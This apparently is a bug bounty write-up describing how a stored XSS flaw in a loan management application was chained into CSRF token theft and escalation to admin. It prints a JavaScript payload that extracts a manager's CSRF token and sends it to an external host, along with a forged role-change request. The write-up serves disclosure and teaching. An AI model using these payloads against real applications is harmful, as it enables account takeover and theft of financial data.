Two years ago, while testing a financial application as part of a bug bounty program, something unexpected happened.
What started as a routine search for Cross-Site Scripting (XSS) vulnerabilities turned into a shocking privilege escalation chain — all because of one unsanitized input field.
By the end of this journey, a simple stored XSS flaw allowed me to gain full admin access. The worst part? The company had no idea until I reported it.
The Vulnerability: A Loan System's Fatal Mistake
The application was a loan management system used by banks and financial institutions.
One of its key features allowed employees to input purchase descriptions when processing transactions.
At first glance, everything seemed secure — HTTPS encryption, role-based access controls, and CSRF tokens.
But when I tested a basic payload in the "Purchase Description" field:
<script>alert(1)</script>A pop-up appeared on the next page load. The input wasn't sanitized.
This was a classic stored XSS vulnerability — any script injected here would execute every time an employee viewed the transaction log.
The Exploit: From XSS to Full Admin Control
Step 1: Confirming the Flaw
First, I reported the basic XSS issue through the bug bounty platform. But while waiting for a response, curiosity kicked in.
"What if this could do more than just pop up an alert?"
Step 2: Stealing the Manager's CSRF Token
Since the app used CSRF tokens for sensitive actions (like role changes), I crafted a malicious script to:
- Silently fetch the manager's dashboard page (where the CSRF token was stored).
- Extract the token from the HTML.
- Send it to an external server I controlled (for ethical testing, I used a local logging endpoint).
Here's a simplified version of the payload:
<script>
fetch('/manager-dashboard')
.then(response => response.text())
.then(data => {
const token = data.match(/csrf_token="([^"]+)"/)[1];
fetch('https://my-server/log?token=' + token);
});
</script>When a manager viewed the infected transaction log, their browser unknowingly sent their CSRF token to me.
Step 3: Escalating to Admin
With the token, I could impersonate the manager and send a role-change request to promote my test account to admin.
The request looked like this:
POST /api/change-role HTTP/1.1
Host: vulnerable-bank.com
Content-Type: application/json
X-CSRF-Token: STOLEN_TOKEN_HERE
{
"user_id": "my_test_account",
"new_role": "admin"
}And just like that, I had full admin access.
The Impact: A Company's Worst-Case Scenario
If this had been exploited maliciously:
- Customer loan data (names, SSNs, credit scores) could have been leaked or sold.
- Fraudulent transactions could have been approved silently.
- The company's reputation would have been destroyed overnight.
The scariest part? No unusual activity would have been detected. The attack relied on legitimate user sessions executing malicious scripts.
Lessons Learned: How to Prevent This
For Developers:
- Always sanitize user inputs — use libraries like DOMPurify.
- Implement Content Security Policy (CSP) to block inline scripts.
- Require re-authentication for sensitive actions (even with CSRF tokens).
For Bug Hunters:
- Never stop at "alert(1)" — test for real-world impact.
- Look for chained vulnerabilities (XSS + CSRF = disaster).
- Report responsibly — this flaw was patched in 48 hours thanks to coordinated disclosure.
Why This Matters
This wasn't just about finding a bug. It was about understanding how small oversights can lead to catastrophic breaches.
If you're a developer, audit your inputs today. If you're a hacker, dig deeper than the surface.
And if you found this breakdown useful, I share more real-world ethical hacking case studies in my free newsletter (link below). No fluff — just actionable security lessons.